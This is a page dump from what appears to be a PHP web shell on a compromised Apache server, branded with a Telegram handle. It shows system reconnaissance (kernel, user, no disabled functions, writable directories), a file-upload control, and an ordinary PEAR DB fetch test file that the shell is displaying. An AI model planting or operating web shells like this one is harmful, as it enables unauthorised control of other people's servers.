https://t.me/RX1948
Server : Apache
System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64
User : p141464 ( 418825)
PHP Version : 7.4.33.12
Disable Function : NONE
Directory :  /usr/local/pear/test/DB/tests/driver/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/pear/test/DB/tests/driver/02fetch.phpt
--TEST--
DB_driver::fetch
--INI--
error_reporting = 2047
--SKIPIF--
<?php chdir(dirname(__FILE__)); require_once './skipif.inc'; ?>
--FILE--
<?php
require_once './mktable.inc';
require_once '../fetchmodes.inc';
?>
--EXPECT--
testing fetchrow:
row 1: 42, bing, This is a test, 1999-11-21
row 2: 1, one, One, 2001-02-16
row 3: 2, two, Two, 2001-02-15
row 4: 3, three, Three, 2001-02-14
row 5: NULL
testing fetchmodes: fetchrow default default, portability mode DB_PORTABILITY_ALL ^ DB_PORTABILITY_RTRIM
0 1 2 3
output matched expected format
testing fetchmodes: fetchinto default default
0 1 2 3
42 bing This is a test 1999-11-21
testing fetchmodes: fetchrow ordered default
0 1 2 3
testing fetchmodes: fetchrow assoc default
a b cc d
testing fetchmodes: fetchrow ordered default with assoc specified
a b cc d
testing fetchmodes: fetchrow assoc default with ordered specified
0 1 2 3
testing fetchmodes: fetchinto ordered default
0 1 2 3
testing fetchmodes: fetchinto assoc default
a b cc d
testing fetchmodes: fetchinto ordered default with assoc specified
a b cc d
testing fetchmodes: fetchinto assoc default with ordered specified
0 1 2 3
testing fetchmodes: fetchrow assoc quoted identifiers
a b cc d

https://t.me/RX1948 - 2025